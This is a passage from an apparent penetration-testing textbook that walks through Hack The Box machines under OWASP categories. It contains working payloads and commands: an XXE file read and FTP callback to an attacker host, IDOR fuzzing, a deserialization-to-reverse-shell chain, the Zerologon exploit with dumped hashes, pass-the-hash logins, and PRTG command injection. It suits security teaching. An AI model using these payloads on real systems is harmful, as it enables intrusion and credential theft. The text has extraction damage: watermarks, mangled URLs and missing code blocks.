with a salt. The alternative is to use a dictionary of common passwords and a tool like
John The Ripper or hashcat. It is important to know that cracking hashes requires a great
deal of computational resources and so doing it on a VM is always going to be slow. For
Hack The Box challenges, this isn’t usually a problem because any password that is meant
to be crackable will crack within 10 minutes or so. In the real world of course, things aren’t
that simple and so having a dedicated machine for password cracking that has access to
high powered CPUs or GPUs (Graphical Processing Units) is essential.
John has a number of utility programs that will convert password files from applications
into a suitable “John” format for cracking. As an example, john can extract the password
hash from a zip file that has been password protected using the application zip2john. Key
files for ssh that are password protected can be converted to a john hash using ssh2john
(in the “jumbo” version of John The Ripper[5]).
If a hash is obtained, John the Ripper will try and identify it but it is worth determining the
hash type explicitly. There are hash identifying services online that can be used to help with
this.
hide01.ir
As with the choice of word lists for other fuzzing tasks, choosing a word list for cracking
passwords is also an art. The default is to use the password list rockyou.txt which contains
14,341,564 passwords that came from a breach of a company called RockYou in 2009. It is
also possible to craft subsets of rockyou.txt if information is available about the password
type and length. This can make a big difference in looking for variants. Finally, it is also
possible to brute force the password by going through all of the permutations of characters
and numbers. However, for any password longer than a few characters this becomes
infeasible unless you have acces to a supercomputer (or botnet). On a modern 8 core
computer for example, an 8 character lowercase password would take around 2 days if the
password was hashed with SHA512. Of course, passwords that combine, numbers, upper
and lower case letters and special characters would take years.
Another tool that can be used for cracking passwords, especially on computers with GPUs
is hashcat. It can be used in CPU only mode, but it has then little advantage over John The
Ripper.
Hack The Box has numerous examples of cracking hashes that can be done with John The
Ripper or hashcat and we will highlight the use of these tools in future exercises.
hide01.ir
Sensitive Data Exposure
A security misconfiguration vulnerability, sensitive data exposure occurs when data is
exposed unintentionally in a non-encrypted or other insecure state. OWASP details
scenarios that include storing passwords as clear text or as unsalted or simple hashes. In
another example, the site does not use, or does not enforce the use of TLS. In another
scenario, credit card or personally identifiable information is stored in clear text or in an
encrypted form that is automatically decrypted when retrieved making retrieval in the clear
relatively easy to achieve.
From an attacker’s perspective, these vulnerabilities are part of the gathering “loot” process.
It is one thing to find a vulnerability that gives you unintended access to a machine but the
ultimate goal is to obtain information of value. Gaining access to a HoneyPot for example,
a machine that is deliberately constructed to lure attackers to break in, does not pose much
of a security risk even though an attacker has gained some access to a network. This act
has not affected the confidentiality, availability or integrity of the affected organization.
There are numerous examples of exposed sensitive data both in the real world and on Hack
The Box. The password list rockyou.txt as mentioned above, was obtained from a data
breach of the company RockYou. More recently in 2019, security researchers found 100
Terabytes of data on Amazon Web Service’s S3 storage site. The data belonged to a
company called Attunity that contained data from their customers, including passwords
and sensitive employee information. This type of vulnerability has been common because
Amazon did not prevent public access by default in its settings of S3. This type of
vulnerability also appears in the category of security misconfiguration which will be
covered below.
hide01.ir
XML External Entities (XXE)
Extensible Markup Language (XML) developed alongside HTML as a more formal markup
language. It had the benefit of using a structure that could be defined and validated using a
schema definition (XSD). This came at the cost of complexity and verbosity, ultimately
limiting XML’s popularity. XML pops up quite frequently, Microsoft Office uses an Open XML
format for its document types for example. One of the most prevalent vulnerabilities in XML
document processing has been XXE. Within XML, an entity is a label for representing text.
An example is the entity “>” that is used to represent “>”. To add an entity to an XML
document, you declare it in a DTD (Document Type Defintion) statement. An example of
this would be:
External entity allowed for entity definitions to be stored in a file remotely and that could be
included either through https:// or the file:// protocol. An example of an XXE injection attack
exploiting this would be:
1 <!DOCTYPE FakeTag [
2 <!ELEMENT FakeTag ANY >
3 <!ENTITY ext SYSTEM "file://etc/passwd" >]>
4 <FakeTag>&ext;</FakeTag>
This would include the file /etc/passwd into the text of the response.
XXE can also be used to do a Server Side Request Forgery (SSRF). Many internal web
applications limit requests from within the perimeter of the internal network. If the request
comes from XXE that is fetched by a web server, it may be trusted by these web servers.
hide01.ir
Exercise: Enumerating and exploiting XXE on
ForwardSlash
We covered the first part of this machine in Chapter 2. We had discovered a site
backup.forwardslash.htb which presented us with a login page. We can explore this site
with gobuster looking for directories and PHP files:
1 ┌─[oztechmuse@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -u
4 http://backup.forwardslash.htb
5
6 <SNIP>
7 /login.php (Status: 200)
8 /register.php (Status: 200)
9 /index.php (Status: 302)
10 /welcome.php (Status: 302)
11 /dev (Status: 301)
12 /api.php (Status: 200)
13 /environment.php (Status: 302)
14 /logout.php (Status: 302)
15 /config.php (Status: 200)
16 /hof.php (Status: 302)
If we try and got to the /dev directory, we get a 403 Access Denied:
It seems that this directory is not accessible from outside IP addresses. The login page
does have a link to /register.php and so we can create an account on the site there. Using
the new credentials, we can log in and get access to a dashboard page
hide01.ir
The page of interest is for changing your profile picture which reports that the functionality
has been disabled because of a hack of the site.
The text box and Submit button have been disabled by adding the attribute disabled="" into
the HTML for these elements. If you right click on the web page in the browser and select
Inspect Element, you will be able to see the HTML for the page in the Inspector tab of the
browser developer tools (Figure 3-7).
hide01.ir
You can click on the HTML where it says disabled in the form section and delete it for both
the text box and the submit button. Let us test for Local File Inclusion (LFI) by pointing the
URL in the text box to a local file like /etc/passwd. Switch FoxyProxy to use the Burp proxy
and enter ../../../etc/passwd into the text box before pressing the Submit button. Once
intercepted in Burp, send the request to the Repeater tab and press Send to send it to the
server. The response includes the file!
1 HTTP/1.1 200 OK
2 <SNIP>
3 <!DOCTYPE html>
4 <head>
5 <meta charset="UTF-8">
6 <title>Welcome</title>
7 <link rel="stylesheet" href="bootstrap.css">
8 <style type="text/css">
9 body{ font: 14px sans-serif; text-align: center; }
10 </style>
11 </head>
12 <body>
13 <div class="page-header">
14 <h1>Change your Profile Picture!</h1>
15 <font style="color:red">This has all been disabled while we try to get
16 back on our feet after the hack.<br><b>-Pain</b></font>
17 </div>
18
hide01.ir
<form action="/profilepicture.php" method="post">
19 URL:
20 <input type="text" name="url" disabled style="width:600px"><br>
21 <input style="width:200px" type="submit" value="Submit" disabled>
22 </form>
23 </body>
24 </html>
25 root:x:0:0:root:/root:/bin/bash
26 <SNIP>
27 pain:x:1000:1000:pain:/home/pain:/bin/bash
28 chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
29 mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
This shows a couple of users, pain and chiv. If we now try LFI on the /dev directory, it will
include the file index.php from there and we can read the contents:
1 <html>
2 <h1>XML Api Test</h1>
3 <h3>This is our api test for when our new website gets refurbished</h3>
4 <form action="/dev/index.php" method="get" id="xmltest">
5 <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
6 <request>test</request>
7 </api>
8 </textarea>
9 <input type="submit">
10 </form>
11 </html>
12 <!-- TODO:
13 Fix FTP Login
14 -->
Do you remember how we got a 403 error when we tried to access this directory before with
an error message saying we couldn't access it from our IP address? Well, we have now
found a way of exploiting a SSRF (Server Side Request Forgery) by accessing the site from
the web server itself using LFI.
The returned information suggests a function to test XML input and so we can test if the
site is vulnerable to XXE. This next part is going to be a leap of faith as to how you are
supposed to work out that what the XML will do is try an FTP login, however, there is a clue
in the TODO message to "Fix FTP Login". We can construct an XML document that will
execute an FTP login as follows:
hide01.ir
1 <?xml version="1.0" ?>
2 <!DOCTYPE html [
3 <!ELEMENT bar >
4 <!ENTITY foo SYSTEM "ftp://10.10.14.135/">
5 ]>
6 <api>
7 <request>$foo;</request>
8 </api>
We can then send that to the /dev/index.php page using the request in Burp by passing the
XML as a parameter to http://backup.fowardslash.htb/dev/index.php?xml=<XXE code>.
The XML code needs to be URL encoded twice and so select the XML code in Burp and right
click and select URL encode all characters. Repeat this. Before sending the request, we can
start the tool responder to listen for FTP requests and print out the username and password
that has been supplied:
1 ─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $sudo responder -I tun0
3 <SNIP>
4 [+] Servers:
5 <SNIP>
6 FTP server [ON]
This then gives us credentials to use with SSH to get on the box as user chiv. This user
doesn't have access to the user flag and you will need to do some lateral movement to get
the user pain. However, that involves another SUID file and we can leave that as an exercise
for later.
hide01.ir
Broken Access Control
Users should only be allowed to access functions and information that they have been
given the right to access. This means that one user should not be able to see another user’s
data and that ordinary users should not be able to access administrative functionality.
Unfortunately, controlling user access is sometimes complicated and the range of
vulnerabilities that arise because of misconfigurations and program errors is quite wide.
The type of vulnerabilities that occur are:
This is one of the most prevalent vulnerabilities that you will come across when doing Hack
The Box machines. you will look at cookie stealing as part of the section on Cross-Site
Scripting (XSS) below. Parameter tampering is always worth trying when anything like an
ID is found in a url.
hide01.ir
Exercise: Tampering with parameters on
Oopsie
Another of the Starting Point machines is Oopsie, a Linux box. An nmap scan reveals SSH
running on port 22 and Apache running on port 80.
Navigating to the home page of the website, we see a site for MegaCorp Automotive which
is a static page with no clickable links.
We can try the user admin and the password that was recovered from the previous machine
Archetype (MEGACORP_4dm1n!!) with a guessed user “admin”, you gain access to the
home page of the Repair Management System.
hide01.ir
Enumerating this site, you find the Accounts page that lists details of the user accounts on
the system. The url uses a parameter “id” which presumably refers to the id of the selected
user.
http://oopsie.htb/cdn-cgi/login/admin.php?content=accounts&id=1
This is an IDOR vulnerability because we can change the id and get access to other
accounts. The Accounts page (Figure 3-11) provides information about the Access ID which
is probably the id of the User in the database of the system.
hide01.ir
Cycling through a few numbers for the id shows the page changes and eventually a
different user “[email protected]” is displayed with the “id=4”. We can brute force all of the
users on the system by sequentially increasing the id field. To do this, you could use Burp
Suite's Intruder function, but we will use wfuzz instead (I will leave it as an exercise for you
to try Burp's Intruder if you wish).
Before we use wfuzz, we need some more information. The system knows we are logged in
through the use of cookies. In the browser's developer tools, we can go to the Storage tab
and click on Cookies. There are two cookies:
1 role: admin
2 user: 34322
1 ┌──[rin@parrot]─[~/boxes/StartingPoint/Oopsie]
2 └──╼ $wfuzz -b "user=34322; role=admin" -z range,1-100 "
3 http://oopsie.htb/cdn-cgi/login/admin.php?content=acc
4
5 ounts&id=FUZZ"
6 <SNIP>
7 =====================================================================
8 ID Response Lines Word Chars Payload
9 =====================================================================
10 000000021: 200 160 L 321 W 3595 Ch "21"
11 000000020: 200 160 L 321 W 3595 Ch "20"
12 000000001: 200 160 L 321 W 3623 Ch "1"
13 000000018: 200 160 L 321 W 3595 Ch "18"
14
hide01.ir
000000015: 200 160 L 321 W 3595 Ch "15"
It will return a series of results which differ in the number of characters returned. Id 1
returns 3623 characters and id 21 returns 3595. If you try these in the browser, you will see
that we are only interested in the ids that return more than 3595 characters. We can modify
the wfuzz command to hide results where the number of characters is 3595 by using the --
hh flag.
1 ┌─[✗]─[rin@parrot]─[~/boxes/StartingPoint/Oopsie]
2 └──╼ $wfuzz -b "user=34322; role=admin" --hh 3595 -z range,1-100
3 <SNIP>
4 =====================================================================
5 ID Response Lines Word Chars Payload
6 =====================================================================
7 000000013: 200 160 L 321 W 3621 Ch "13"
8 000000001: 200 160 L 321 W 3623 Ch "1"
9 000000004: 200 160 L 321 W 3619 Ch "4"
10 000000030: 200 160 L 322 W 3634 Ch "30"
11 000000023: 200 160 L 321 W 3620 Ch "23"
We get 5 results for the values of ids between 1 and 100. Checking these ids in the request
in the browser, we eventually get the user superadmin for id=30:
This is convenient because if we go to the page Uploads, it returns a message saying that
“This action require super admin rights”.
In the browser, you can go back to the Storage tab and edit the cookie to replace the user
value with “86575”. The role cookie doesn't seem to matter and we can leave it. Having
done this, clicking on Uploads now grants us access to the page! Note that being able to
change the cookie so simply to masquerade as another user is a separate broken access
control vulnerability to the ability to enumerate users by parameter tampering.
hide01.ir
Looking at the uploads page, it suggests that what it is expecting to be uploaded are
images. However, it accepts a php file without modification. We could use gobuster to find
out if there is an uploads directory, but simply trying /uploads gives us a forbidden status
code which means that there is a directory called that and it is the likely place the files will
be uploaded to.
We will come back to finishing this machine off once we have covered exploitation and
getting reverse shells. It is pretty straightforward however and once on the box, it is a simple
matter of finding credentials for another user, "robert" (password: M3g4C0rpUs3r!) who can
SSH onto the box.
hide01.ir
Security Misconfiguration and Insecure
Deserialisation
Security misconfiguration is a category of a range of different vulnerabilities. Vulnerability
scanners may find some of these types of vulnerabilities. The vulnerabilities covered here
include:
Searching for these vulnerabilities will become second nature when hunting for bugs on a
new machine. Whilst application software developers are getting better at not allowing a
default username and password, forcing it to be changed on installation, the problem is still
very prevalent on Internet of Things devices and devices such as consumer Internet routers.
Insecure Deserialisation
Deserialization is a slightly advanced topic because it involves the way objects, which is a
collection of code and data, can be stored. Languages that support objects, so called
object-oriented languages like C#, Swift, PHP, Java and Python all offer object serialisation
capabilities. To take a simple example in PHP, the code to serialize an array of strings is as
follows:
1 <?php
2 $data = serialize(array("Red","Green","Blue"));
3 echo $data;
4 ?>
The a:3 represents an array type object with 3 elements. The array elements are in the
braces and the first element is a string of 3 characters (s:3) with a value of "Red". The entire
serialized object can then be written to a file or stored in a database.
1 $a = unserialize($data);
2 echo $a[0];
This will recreate the array and so it can be used to print the first value in the array which is
"Red".
1 a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
2 i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
1 a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"admin";
2 i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
hide01.ir
Whilst this is at the more advanced level, attacking deserialization vulnerabilities is made
easier thanks to frameworks such as YSoSerial for Java and YSoSerial.Net for Microsoft
.Net. you will look at how this works in the Hack The Box case study of the machine JSON.
hide01.ir
Exercise: Exploiting .NET deserialization on
the box JSON
In this machine, an nmap scan reveals that it is a Windows box with FTP (port 21), HTTP
(port 80) and SMB (port 139,445) running.
1 ┌─[rin@parrot]─[~/boxes/JSON]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- json.htb -oA nmap/full-
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp FileZilla ftpd
5 | ftp-syst:
6 |_ SYST: UNIX emulated by FileZilla
7 80/tcp open http Microsoft IIS httpd 8.5
8 | http-methods:
9 | Supported Methods: GET HEAD OPTIONS TRACE
10 |_ Potentially risky methods: TRACE
11 |_http-server-header: Microsoft-IIS/8.5
12 |_http-title: Json HTB
13 135/tcp open msrpc Microsoft Windows RPC
14 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
15 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof
16 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
17 |_http-server-header: Microsoft-HTTPAPI/2.0
18 |_http-title: Not Found
19 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
20 |_http-server-header: Microsoft-HTTPAPI/2.0
21 |_http-title: Not Found
22 49152/tcp open msrpc Microsoft Windows RPC
23 49153/tcp open msrpc Microsoft Windows RPC
24 49154/tcp open msrpc Microsoft Windows RPC
25 49155/tcp open msrpc Microsoft Windows RPC
26 49156/tcp open msrpc Microsoft Windows RPC
27 49157/tcp open msrpc Microsoft Windows RPC
28 49158/tcp open msrpc Microsoft Windows RPC
29 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
30 cpe:/o:microsoft:windows
The website on port 80 reveals a login page that takes the common credentials "admin" and
"admin" as username and password.
hide01.ir
If you turn on the Burp proxy in FoxyProxy but leave Intercept off in Burp Suite, all of the
calls from the browser will go through the proxy and be available in the HTTP History tab.
When you click submit after entering the username and password, the page does a POST
request to the endpoint /api/token, providing the username and password that was entered.
The response to this POST returns a status code of 202 (Accepted) and provides a Set-
Cookie header:
1 Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkI
2 joiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZ
3 G1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Thu, 22-Oct-2020
4 08:44:50 GMT; path=/
The next request is a GET request for the page /index.html and the cookie OAuth2 is now
set. After getting script and HTML files, a GET request is made to /api/Account.
Interestingly, here a second header, "Bearer" is used with the same contents as the OAuth2
cookie contents:
Which is actually what you get if you take the Base64 in the Bearer header and decode it.. It
is worth noting that the Bearer header suggests that this is Bearer Authentication which is
defined as part of the OAuth 2.0 standard. However, normally, the header is actually
formatted as:
The token in this case would also be encrypted or at least cryptographically signed as per
the standard and clearly it is not here.
To explore what the Bearer header does, if you change the content of the Bearer header by
putting a non-numerical character in the Id field, say "1a" and the re-encode it using Base64.
an error is returned by the application:
Here you get a clue about a possible vulnerability. The message "Cannot deserialize
Json.Net Object" suggests a deserialization attack may be possible.
Using YSoSerial.Net, we can test that the vulnerability can be exploited by trying to ping
back to our machine. Given that this is .NET, although it could be done on Parrot SOSec, it is
easier to do this on a Windows VM. you can provide the following parameters to
ysoserial.exe specifying the output as base64 and the command you want to run as a ping
to our machine:
Taking the output from this and putting it in the Bearer header, you get an exception from
the server, but the pings come back:
1 ┌──[✗]─[rin@parrot]─[~/boxes/JSON]
2 └──╼ $sudo tcpdump -i tun0 icmp
3 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
4 listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
5 15:00:46.782092 IP 10.10.10.158 > 10.10.14.3: ICMP echo request, id 1, seq
6 length 40
7 15:00:46.782231 IP 10.10.14.3 > 10.10.10.158: ICMP echo reply, id 1, seq 1
8 length 40
To get a reverse shell on the box, you can do as you did in Bankrobber and use an SMB
share to give access to Netcat (nc.exe) and have a listener on our box.
1 ┌──[rin@parrot]─[~/boxes/JSON]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.3] from (UNKNOWN) [10.10.10.158] 49780
5 Microsoft Windows [Version 6.3.9600]
6 (c) 2013 Microsoft Corporation. All rights reserved.
7 c:\windows\system32\inetsrv>whoami
8 whoami
9 json\userpool
10 c:\windows\system32\inetsrv>
hide01.ir
Using Components with Known
Vulnerabilities
It may be surprising that this category of vulnerabilities is not at the top of the list when it
comes to OWASP's top 10. The other categories you have already dealt with are still
vulnerabilities affecting components and so in a way, this category is just all of the
vulnerabilities that can affect a web application that are not of the specific types like XSS,
injection etc. This category is also really comes about because administrators have not
kept software up-to-date, have misconfigured them or simply were not aware they had them
on their systems.
Hunting for these vulnerabilities involves enumerating all of the applications, libraries,
databases, operating systems and other processes and knowing the specific versions of
each of these components. This information can then be used to look up databases of
known vulnerabilities for specific version of software. you have already detailed the
concept of vulnerabilities and CVE identifiers above. Whether these vulnerabilities can be
exploited or not depends on a range of factors such as whether there is a practical way of
exploiting the vulnerability, whether this can be done remotely or locally, whether it needs
authentication or not, and what the actual outcome of the exploitation is.
Finding CVEs is a skill, albeit one that can be assisted with vulnerability scanners which
may pick up the more obvious ones. Malicious actors often take a different approach which
is to concentrate on a specific CVE, especially one that has just been discovered, and then
search for any application on the Internet that has that particular vulnerability. There are
numerous examples of this such as CVE-2017-5638 which was a vulnerability in web
applications that used the Apache Struts framework.
1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $git clone https://github.com/dirkjanm/CVE-2020-1472
3 To execute, you simply give the name of the domain and the IP address of
4 the domain controller:
5 ┌─[rin@parrot]─[~/boxes/Multimaster/CVE-2020-1472]
6 └──╼ $python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
7 Performing authentication attempts...
8 ==========================================================================
9 Target vulnerable, changing account password to empty string
10 Result: 0
11 Exploit complete!
Now that the machine password has been set to an empty string, you can use Impacket's
secretsdump.py that will collect all of the domain's users and password hashes:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Multimaster/CVE-2020-1472]
2 └──╼ $secretsdump.py -just-dc -no-pass MULTIMASTER\[email protected]
3 Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020
4 SecureAuth Corporation
5 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
6 [*] Using the DRSUAPI method to get NTDS.DIT secrets
7 Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1
8 caf93d51d971be0:::
9 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
10 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717
11 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:
12 31d6cfe0d16ae931b73c59d7e0c089c0:::
13 MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:
14 fe90dcf97ce6511a65151881708d6027:::
15 MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:
16 1c9c8bfd28d000e8904f23c280b25d21:::
17
hide01.ir
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:
18 9e63ebcb217bf3c6b27056fdcb6150f7:::
19 MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:
20 3c3c292710286a539bbec397d15b4680:::
21 MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:
22 19b44ab9ec562fe20b35ddb7c6fc0689:::
23 <SNIP>
Once you have these hashes, you can use Administrator's account to remote access the
machine using evil-winrm
1 ┌─[✗]─[rin@parrot]─[/opt/evil-winrm]
2 └──╼ $evil-winrm -u Administrator -H 69cbf4a9b7415c9e1caf93d51d971be0 \
3 -i 10.10.10.179
4 Evil-WinRM shell v2.3
5 Info: Establishing connection to remote endpoint
6 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
7 megacorp\administrator
8 *Evil-WinRM* PS C:\Users\Administrator\Documents>
Of course, this attack will have impacted the domain controller significantly by resetting the
machine account's password to an empty string. If this was a machine with other Hack The
Box users accessing it, you would want to avoid doing something that would significantly
impact their experience. As a real attacker, this would send alerts flying and so that would
be a consideration as well. Nevertheless, this is an exploit that is being used in the wild as I
am writing this.
hide01.ir
Exercise: Enumerating vulnerabilities caused
by default applications in the box Netmon
In this machine, the application PRTG Network Monitor has been installed and the demo
features have not been removed or disabled. The vulnerability here allows remote
command execution through a demo feature in the product.
Scanning the machine with nmap you get the following output:
1 ┌─[oztechmuse@parrot]─[~/boxes/Netmon]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- netmon.htb -oA nmap/ful
3 PORT STATE SERVICE VERSION
4 21/tcp open ftp Microsoft ftpd
5 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
6 | 02-03-19 12:18AM 1024 .rnd
7 | 02-25-19 10:15PM <DIR> inetpub
8 | 07-16-16 09:18AM <DIR> PerfLogs
9 | 02-25-19 10:56PM <DIR> Program Files
10 | 02-03-19 12:28AM <DIR> Program Files (x86)
11 | 02-03-19 08:08AM <DIR> Users
12 |_02-25-19 11:49PM <DIR> Windows
13 | ftp-syst:
14 |_ SYST: Windows_NT
15 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor
16 |_http-favicon: Unknown favicon MD5: 36B3EF286FA4BEFBB797A0966B456479
17 | http-methods:
18 |_ Supported Methods: GET HEAD POST OPTIONS
19 |_http-server-header: PRTG/18.1.37.13946
20 | http-title: Welcome | PRTG Network Monitor (NETMON)
21 |_Requested resource was /index.htm
22 |_http-trane-info: Problem with XML parsing of /evox/about
23 135/tcp open msrpc Microsoft Windows RPC
24 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
25 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof
26 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012;
27 CPE: cpe:/o:microsoft:windows
We can see that the box is likely running Windows Server 2008 R2 and that it allows
anonymous FTP access to the entire main drive. The other thing to note is that there is a
web server on port 80 which is running the application PRTG Network Monitor.
hide01.ir
The website offers a login page
Searching the internet for information about PRTG and where it may store configuration
information, you find that configuration information should be in
c:\ProgramData\Paessler\PRTG Network Monitor (alternatively, a quick bit of searching in
FTP uncovers this). There you find some configuration files, including what looks like a
backup.
1 ftp> dir
2 200 PORT command successful.
3 125 Data connection already open; Transfer starting.
4 10-22-20 10:46PM <DIR> Configuration Auto-Backups
5 10-22-20 10:05PM <DIR> Log Database
6 02-03-19 12:18AM <DIR> Logs (Debug)
7 02-03-19 12:18AM <DIR> Logs (Sensors)
8 02-03-19 12:18AM <DIR> Logs (System)
9 10-23-20 12:00AM <DIR> Logs (Web Server)
10 10-22-20 10:10PM <DIR> Monitoring Database
11 02-25-19 10:54PM 1189697 PRTG Configuration.dat
12 02-25-19 10:54PM 1189697 PRTG Configuration.old
13 07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
14 10-23-20 07:10AM 1723779 PRTG Graph Data Cache.dat
15 02-25-19 11:00PM <DIR> Report PDFs
16 02-03-19 12:18AM <DIR> System Information Database
17 02-03-19 12:40AM <DIR> Ticket Database
18 02-03-19 12:18AM <DIR> ToDo Database
We can use mget PRTG* to copy all of the configuration files to our local machine. Looking
at "PRTG Configuration.old.bak" first, you find the following information:
hide01.ir
1 <!-- User: prtgadmin -->
2 PrTg@dmin2018
3 </dbpassword>
Trying this on the login page doesn't work but looking at the format of the password and
updating the year to PrTg@dmin2019 gets us in!
Once in, you can see that the version of PRTG is 18.1.37.13946, which is the same
information that nmap gave us in the output above. Looking around the app, you can see
the release notes for the application with a warning about the current version
.This particular vulnerability doesn't really help us (although it may have been a reason for
the plain text password in the backup configuration file?). So you need to look for other
vulnerabilities. Searching for vulnerabilities for PRTG, you find a highly critical vulnerability
CVE-2018-9276[6] that allows remote code execution. The vulnerability is related to a demo
script that is included with the product that is vulnerable to command injection. When
creating a notification in the system, one action that can be selected is to run an executable
and of the two options provided one is a PowerShell script OutFile.ps1. This takes a
parameter of a file name but if you add a "|" after the file name, you can add any other
PowerShell commands. you can then create a new user and add them to the administrator
group using the parameter:
.Clicking the + button to create a new notification and leave everything as default but select
Execute Program:
Select the Demo.exe notification outfile.ps1 and enter our crafted command as the
Parameter. In the Notifications list, click the menu button on the right and then the bell icon
from the popup menu
hide01.ir
Once you have done this, you can login using Impacket's psexec.py
1 ┌─[rin@parrot]─[~/boxes/Netmon/CVE-2018-9276]
2 └──╼ $psexec.py rin:'password123!'@10.10.10.152
3 Impacket v0.9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020 SecureAuth
4 Corporation
5 [*] Requesting shares on 10.10.10.152.....
6 [*] Found writable share ADMIN$
7 [*] Uploading file mirjPmkK.exe
8 [*] Opening SVCManager on 10.10.10.152.....
9 [*] Creating service NeIi on 10.10.10.152.....
10 [*] Starting service NeIi.....
11 [!] Press help for extra shell commands
12 Microsoft Windows [Version 10.0.14393]
13 (c) 2016 Microsoft Corporation. All rights reserved.
14 C:\Windows\system32>whoami
15 nt authority\system
16 C:\Windows\system32>
We could also have logged in using evil-winrm as the user "rin" or instead of creating a user,
run a PowerShell command to get a reverse shell.
hide01.ir
After enumerating a target, the aim is to gain access to a network through a foothold on a
machine. You have already seen examples of how this can be done using reverse shells or
through standard pathways for remote access such as SSH, FTP, etc. To an attacker, all
access methods are not equal, and a particular path will be preferred over others depending
on what the ultimate goal is. If the aim was simply to get a database of user information,
then compromising a website through SQL injection and dumping the appropriate tables
would be sufficient. If the aim is to gain complete control of the machine and using it as a
jumping point to other machines on the network, getting command access to the box with
persistence will be more important.
Ethical hackers are interested in looking at getting the maximum leverage from a machine
and Hack The Box emulates this by always making the challenge about getting
administrator/root access. This is not always in the form of getting a shell on a box,
sometimes it is sufficient just to be able to read privileged information that only the
administrator or root account would have access to. In the case of Hack The Box, this is
represented by the root flag.
One way of classifying different access techniques is to split them between using
legitimate external remote services and custom exploitation:
SSH
RDP
hide01.ir
VNC
Others: Citrix, FTP, TFTP, Telnet
Custom Exploitation
This is not an exhaustive classification and the main point to take from it are the different
approaches. In the first class, using External Remote Services, the attacker is "living off the
land" by using legitimate tools for their attack. In the second, they are crafting a custom
exploitation of a vulnerability to gain unintended access.
Before we start looking at these methods of access, we need to review how Linux and
Windows provide an interface to the operating system through their respective command
terminals or command shells.
Principles of a remote shell redirecting stdin, stdout and stderror over a network socket
This entire process is made simpler through the use of a program called Netcat that can
handle the IO redirection for a program over a network. In what is called a “reverse shell”,
you start a Netcat session on a local machine to listen for incoming connections:
nc -lvnp 6001
hide01.ir
This tells netcat to listen (-l) on port (-p) 6001 (any number port that is not being used) on
all IP addresses for incoming connections (-v is for verbose output, -n is for no DNS). On the
target machine, you can run:
This will execute bash and send all IO to the listening machine.
An alternative to reverse shells are “bind shells”. In this case the process listens on the
attacking machine and the attacker initiates the connection from the attacking machine.
The commands are the same but reversed.
Netcat is one tool to create a reverse shell. There are numerous other ways of achieving the
same result of handling the standard streams. Another common and useful way of sending
a reverse shell is by using built in networking functions of bash.
Although this looks complicated, it is running a bash shell in interactive mode (-i) and
redirecting stdout and stderr (>&) to a socket that will connect to the address and port
specified (/dev/tcp/10.0.0.1/6001). The final redirection command (0>&1) redirects stdin to
the same file as stdout i.e. the socket.
At the other end, you can still use Netcat in listening mode to handle the incoming
connection.
There are a range of ways of running reverse shells in different languages listed on sites
like PayloadsAllTheThings[1]. An example of a reverse shell written in Python is
The code essentially replicates the process of making the bash socket connection you saw
earlier. It creates a socket u and connects to the listener v. It redirects the stdin, stdout and
stderror to the socket w and then makes then runs the bash command x. It then gets all of
the standard streams using the socket and finally starts an interactive shell.
The code essentially replicates the process you saw above with the bash socket
connection. It creates a socket and connects to the listener. It then gets all of the standard
streams using the socket and finally starts an interactive shell.
The principles of reverse shells work with Windows as well but you don’t have the ease of
having bash readily available. There are Windows' versions of Netcat and so it is possible
to do a reverse shell by simply specifying cmd.exe or powershell.exe as the command to
execute when using it. It is also possible, as in the Python example above, to run a reverse
